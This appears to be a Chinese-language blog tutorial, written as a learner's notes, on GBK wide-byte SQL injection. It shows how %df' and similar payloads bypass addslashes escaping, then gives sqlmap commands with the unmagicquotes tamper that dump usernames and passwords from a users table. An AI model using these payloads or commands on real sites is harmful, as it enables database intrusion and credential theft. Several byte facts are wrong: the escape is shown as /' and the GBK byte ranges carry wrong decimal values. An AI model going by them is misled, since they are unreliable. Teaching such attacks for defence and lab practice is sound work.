寬字節介紹原理即繞過演示
自己對寬字節的認識和理解,如果有錯誤望指出,共同學習。
寬字節的介紹
- GBK 是佔兩個字節(也就是名叫寬字節,只要字節大於1的都是)
- ASCII 佔一個字節
- PHP中編碼爲GBK ,函數執行添加的是ASCII編碼,mysql默認字符集是GBK等寬字節字符集
爲什麼要介紹寬字節?
寬字節的出現個人感覺是因爲SQL語句過濾了一些字符,比如 ’ 轉義成 /’ 或者 " 轉義成 /" 在這種情況下就不容易完成注入,所以出現了寬字節注入,通過寬字節繞過轉義字符。
過濾的函數
- mysql_real_escape_string()
- addslashes() 功能一樣過濾
繞過原理
- 比如使用%df’:會被PHP當中的addslashes函數轉義爲“ %df’ ”。
- “ \ ”即url裏面的“ %5c ”, “ ’ ”對應的url編碼是“%27”,那麼也就是說,“ %df’ ”會被轉義“ %df%5c%27 ”
- 倘若網站的字符集是GBK,mysql使用的編碼也是GBK的話,就會認爲“ %df%5c%27 ”是一個寬字節。
- “ %df%5c ”會結合(因爲寬字節是佔兩個字節),也就是“縗” 。後面就有一個“ ’ ”。就造成了一個攻擊效果。**
使用其他寬字節
- 不僅僅只是使用%df’ 進行寬字節繞過也可以使用其他的寬字節,只有滿足字符串編碼的要求
- 常見使用的寬字節就是%df,其實當我們輸入第一個ascill大於128就可以,轉換是將其轉換成16進制,eg:129轉換0x81,然後在前面加上%就是%81
- GBK首字節對應0x81-0xfe(129-239),尾字節對應0x40-0xfe(64-126)(除了0x7f【128】)
- 比如一些 %df’ %81’ %82’ %de’ 等等(只有滿足上面的要求就可以)
通過sqlmap進行演示
sqlmap.py -u "url" --batch --tamper=unmagicquotes.py --current-db
unmagicquotes.py 是專門進行寬字節繞過腳本
2.sqlmap.py -u "url" --batch --tamper=unmagicquotes.py -D security --tables
3.sqlmap.py -u "url" --batch --tamper=unmagicquotes.py -D security -T users --columns
4.sqlmap.py -u "url" --batch --tamper=unmagicquotes.py -D security -T users -C "username,password" --dump
5. 通過sqlmap的tamper模塊的unmagicquotes.py腳本完成了注入攻擊
總結
SQL注入有很多很多方法,這裏的只是九牛一毛。供大家學習。小白自己總結的,不喜勿噴,小白在進步~
如果文章有錯誤希望大家指出,共同學習~